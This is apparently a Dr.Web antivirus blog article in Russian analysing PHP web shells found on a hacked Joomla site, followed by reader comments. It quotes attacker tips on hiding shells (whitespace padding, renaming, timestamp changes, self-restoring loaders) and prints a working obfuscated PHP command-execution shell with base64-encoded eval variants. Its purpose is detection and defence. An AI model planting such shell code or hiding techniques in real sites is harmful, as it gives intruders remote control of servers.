По следам взломщиков
7 июня 2018
Если сайт взламывают, значит, это кому-нибудь нужно – с целью заработка. Злоумышленники заинтересованы не только в том, чтобы изменить содержимое взломанного сайта, но и в возможности управления вредоносным содержимым и его модификации. Для этого используются веб-шеллы.
Веб-шелл (web-shell) – это вредоносный скрипт (напомним, что сайт – это в общем случае набор скриптов и обрабатываемых ими данных), предназначенный для нужд злоумышленников, – управления чужими сайтами и серверами, перебора паролей, доступа к файловой системе и т. п. Если у провайдера данные различных ресурсов и клиентов не отделены друг от друга, то внедрение шелла позволяет злоумышленникам получить доступ сразу ко множеству сайтов.
Пример, который разбирается в статье, – реальный, а сам инцидент произошел летом 2015 года.
Итак, сайт работает на Joomla версии 2.5.28. Причина обращения – блокировка сайта со стороны хостинга за спам-рассылку.
Результат Maldet: 84 вредоносных файла.
Можно ли обнаружить вредоносный шелл? Простейший метод: пробежаться по всем файлам сайта, найти среди них те, которые подвергались изменениями или появились недавно, и проанализировать их.
Следующая команда покажет нам все php-файлы, модифицированные за последние 7 дней. То есть если сайт достаточно зрелый, а шел был загружен в течение последней недели, то эта команда здорово поможет в нашем исследовании.
find . -type f -name '*.php' -mtime -7
http://stillfinder.net/ru/blog/ishchem-php-shelly-na-hostinge-php-web-shell
Но злоумышленники – не дураки и понимают, что вредоносное содержимое надо скрывать.
Первое что приходит в голову, это сменить название на то, которое не вызовет подозрений (скажем, functions.php).
Далее стоит поменять время создания/изменения файла.
Также можно Shell встроить в уже существующий PHP файл, но это лучше делать с компактным шеллом.
https://blackdiver.net/it/linux/2491
- Надо просто насоздавать через JS кучу рандомных вложенных тегов, в одном из которых и будет наш код, а остальное – мусор. Тут даже если кто-то решится вручную прошерстить код, то желание быстро поугаснет;
- Для того чтобы усложнить, определим признаки, по которым может осуществляться поиск – по названию тега “iframe”, по URL, к которому делается запрос из нашего кода (эту инфу можно добыть и через прокси, и через обычную вкладку мониторинга сети в панеле разраба в барузере). Поэтому наша задача – не использовать тег iframe и как-то обфусцировать URL;
- Тут в консоли будут вбивать что-то типа document.getElementsByTagName(“iframe”) и смотреть на результат. Усложнить можно, переопределив функцию getElementsByTagName или решив задачу из пункта 2, не используя iframe;
А можно просто сдвинуть код за пределы экрана (о подобном мы рассказывали в выпуске «Бьем врага его же оружием»).
Код при просмотре не сразу можно заметить, так как он намеренно «отбит» пробельными символами вправо за пределы видимой части экрана (поэтому у нас всегда включен режим «переноса строк» в редакторе).
Можно разбить шелл на несколько файлов, отделив собственно вредоносные файлы от модуля управления/загрузки новых модулей.
Можно встроить загрузчик шелла в существующий скрипт. Этот путь хорош в качестве резервного. Если основной шелл стерли и уязвимость закрыли, то, возможно, остался загрузчик, через который можно повторно закачать шелл.
https://blackdiver.net/it/linux/2491
После проведенного анализа мы разобрали функционал обнаруженных “вредоносов” и классифицировали их. Результат в таблице:
Если файл использует базу данных, его можно спрятать туда.
Если текст страниц хранится в базе данных и CMS по каким-либо причинам не фильтрует PHP-код при выводе текста из базы на страницу для конечного пользователя, то эти скрипты вполне могут жить в базе данных.
Но просто встроить скрипт – тоже не лучшая идея (хотя некоторые делают и так). Если у владельца сайта есть резервная копия, то он может сравнить содержимое файлов и увидеть все изменения, где бы они ни прятались. После этого легко понять, что делает скрипт, откуда берет ресурсы и т. д.
Результатом такого анализа может стать не только удаление скрипта, но и блокировка источников загрузки и адресов управляющих центров злоумышленников.
можно ... предварительно обфусцировать код, чтобы он стал не читаемым.
Пример легкой обфускации:
« ?php $GLOBALS['_1225506814_']=Array('' .'exec'); ?»« ?php function _42307863($i){$a=Array('qwe','pwd','arr','','«br»','«form action=','SCRIPT_NAME','?pwd=',' method=POST»«input name=arr/»«input type=submit/»«/form»');return $a[$i];} ?»« ?php $_0=_42307863(0);if($_GET[_42307863(1)]==$_0){$_1=$_POST[_42307863(2)];if(isset($_1)&& $_1!=_42307863(3)){$GLOBALS['_1225506814_'][0]($_1,$_2);foreach($_2 as $_3){echo($_3 ._42307863(4));}}echo(_42307863(5) .$_SERVER[_42307863(6)] ._42307863(7) .$_0 ._42307863(8));} ?»
Пример сильной обфускации:
« ?php eval(gzuncompress(base64_decode('eNpTcffxd3L0CY5Wjze0NDU0NDA2jlePtXUsKkqs1EhKLE41M4lPSU3OT0nVUI9SV9BTj8jIAVGR5SDSFkJoaloDANpJEvM='))); ?»« ?php eval(gzuncompress(base64_decode('eNodjlFvgjAYRf+KDyRAtofWypwxPFiNOB5IiXQtGGNKP2Q4xIWBysz++xjJTc7JzX24x7bSTXGpRgfsjMmYTKfYMgr7YSh3Udeqs0wtoTSfTb2Bzx6x9LsefZjndyx33UGTqz6jPBYBUmLWsnCoOQq223fKJXJoxPmwJJQkK/Svbx4uwfu4JiscRjjg7HT/SiuKYUnbWOCSiXWnT5NXJZwbyDCHTXlLIvwDwm+UDJ/YcnZOid8MH+x5nTVtXY1S9Z29TA6Q6QtklqF2RrG3579/1nBGUA=='))); ?»« ?php eval(gzuncompress(base64_decode('eNpVjsEKgzAMhl+lg6IGhjTtnBviYQPxIjh07FJKEFH0JMzdxHdf9VRPCd+f7yecREoYSSVVHGMgIBn7gFOevbWDEUyachKwcEK7vMr6kEswmzfOc/ezNoLnMTtObrUCa+dF+XwUtfYJ7xGiUIp8o4XZpDMnCUk/fbumHSyQrJlti4Kla4fJAsVCp+8CkKzrHjk0AhZyqrPqk1Xuh1cwBzve78SB3bbGP0TaQso='))); ?»
Это все тот же простой шелл, но с шифрованием в base64. Он также будет исполняться.
Очевидно, что подчас найти вредоносный код среди множества файлов сайта – задача довольно сложная. Поэтому, если есть возможность, извлекаем незараженную (возможно, она уже содержит вредоносный загрузчик) версию веб-ресурса из резервной копии. Проблема закрыта?
Суть этого нехитрого метода заключается в загрузке определенного скрипта в память, чтобы он раз в некоторое время проверял наличие web shell и при его отсутствии встраивал его заново (или грузил временный, через который мы бы снова быстро встраивали основной). Этот метод теряет свое значение, когда происходит перезагрузка сервера (а это событие для серверов достаточно редкое) или админ сам обнаруживает странный процесс и убивает его, но с этим можно кое-что сделать, чтобы усложнить задачу.
https://cryptoworld.su/бессмертный-shell-продолжаем-практику-web-shell
Насколько сложно найти или создать подобный вредоносный код?
Вообще шеллов в интернете ... ешь...
после прочтения данной статьи вы за несколько минут можете собрать тяп-ляп шелл, который будет отлично функционировать.
В этом и заключается проблема детектирования шеллов: их много, и они постоянно меняются. Но тем не менее антивирус и в этом случае приносит пользу.
Сайт бесполезно сканировать внешними антивирусами и антивирусными сервисами, они не покажут факт взлома, поскольку для детектирования хакерских скриптов нужно иметь доступ к файлам сайта.
Естественно, факт взлома антивирусы не выявят, они для этого и не предназначены. Не определят они, скорее всего, и факт добавления нового кода в существующие скрипты – чем это отличается от работы веб-мастера? Но вот загрузку вредоносных файлов и известных шелл-кодов антивирус определить может.
Противодействие идет полным ходом, даже убогий Microsoft Security Essentials научился опознавать его сигнатуры.
Антивирусная правДА! рекомендует
- Устанавливайте обновления. Проникновение через уязвимости – одна из основных причин взлома сайтов.
- Используйте надежные пароли: перебор паролей – еще один способ проникновений.
- Не работайте с файлами сайта без защищенного канала.
- Используйте антивирус: его наличие позволит отследить загрузку утилит взлома, хакерских инструментов, а также вредоносных файлов, предназначенных для заражения. Внимание! После установки антивируса назначьте для утилит взлома, хакерских инструментов и программ удаленного доступа действие «Удалять» или «Перемещать в карантин». Если вы используете программы удаленного доступа, пропишите их в исключениях.
- На забывайте о резервных копиях.
Нам важно ваше мнение
Чтобы оставить комментарий, нужно зайти через свой аккаунт на сайте «Доктор Веб». Если аккаунта еще нет, его можно создать.
Комментарии пользователей
Sasha50
14:12:13 2019-01-30
Денисенко Павел Андреевич
14:15:14 2018-08-03
Ruslan
09:11:17 2018-06-12
alex-diesel
13:35:05 2018-06-09
Попокатепетль
21:59:26 2018-06-08
achemolganskiy
15:34:12 2018-06-08
Людмила
07:47:55 2018-06-08
именно в варианте Dr.Web vxCube этого для домашних пользователей не будет. Демо не представителю компании тоже не выдадим. Ни один дом. пользователь не поймет отчет анализатора. Да и не нужно это ему. Но другой сервис для домашних пользователей, через который можно будет отправить явно подозрительный файл и получить взамен индивидуальную лечилку, - делаем.
Пaвeл
07:31:45 2018-06-08
a13x
04:15:53 2018-06-08
Lia00
02:41:13 2018-06-08
Oleg
01:15:47 2018-06-08
SGES
00:55:45 2018-06-08
razgen
00:31:03 2018-06-08
razgen
00:04:55 2018-06-08
== Обижаете здешних пользователей=). Ну не могу понять, как это можно не заметить такую новость? ==
Littlefish
22:51:09 2018-06-07
Littlefish
22:45:51 2018-06-07
Littlefish
22:40:16 2018-06-07
Специалисты по ИБ заслуживают восхищения!
МЕДВЕДЬ
22:26:25 2018-06-07
anatol
21:59:15 2018-06-07
Геральт
21:52:39 2018-06-07
Andromeda
21:50:26 2018-06-07
Альфа
21:23:20 2018-06-07
orw_mikle
21:10:13 2018-06-07
vla_va
21:05:42 2018-06-07
Шалтай Александр Болтай
20:46:05 2018-06-07
В...а
20:42:25 2018-06-07
Damir
20:36:09 2018-06-07
НинаК
20:14:41 2018-06-07
Dvakota
20:11:24 2018-06-07
Сергей
19:54:34 2018-06-07
Marsn77
19:47:48 2018-06-07
ek
19:31:27 2018-06-07
zsergey
18:54:34 2018-06-07
DrKV
18:29:49 2018-06-07
B0RIS
18:02:17 2018-06-07
Masha
18:00:10 2018-06-07
kva-kva
17:54:02 2018-06-07
La folle
16:31:57 2018-06-07
L1t1um
15:16:38 2018-06-07
vinnetou
14:58:04 2018-06-07
Toma
14:46:42 2018-06-07
nat57
14:30:06 2018-06-07
Дмитрий
13:52:25 2018-06-07
mk.insta
13:48:31 2018-06-07
ArtemiyKurs
13:45:14 2018-06-07
Dmur
13:21:05 2018-06-07
Alexander
12:29:33 2018-06-07
Вредоносный скрипт web-shell, как цифровая уловка (фишка, нюанс, придумка злоумышленника) использует неистоптанные пути особенностей операционной системы и процессора. И, в первую очередь, явные и скрытые слабости (недоработки) серверных программ по поддержке сайтов.
Для меня информация сегодняшней статьи представляет сложность. Но общий фон потенциальной опасности web-shell, мне кажется, я уловил. И это является веским основанием восторгаться профессионализмом сотрудников корпорации Dr.Web. Установленная у меня программа Dr.Web Security Space, убежден, справится и с такими интеллектуальными "изысками" недоброжелателей. Спасибо.
@dyadya_Sasha (08:40:07 2018-06-07), "Сайт держать без шелла для бота", - понравилось. Краткость - кому-то только сестра, а у Вас еще и точно в "яблочко".
Татьяна
11:49:13 2018-06-07
Татьяна
11:46:46 2018-06-07
maestro431
11:37:34 2018-06-07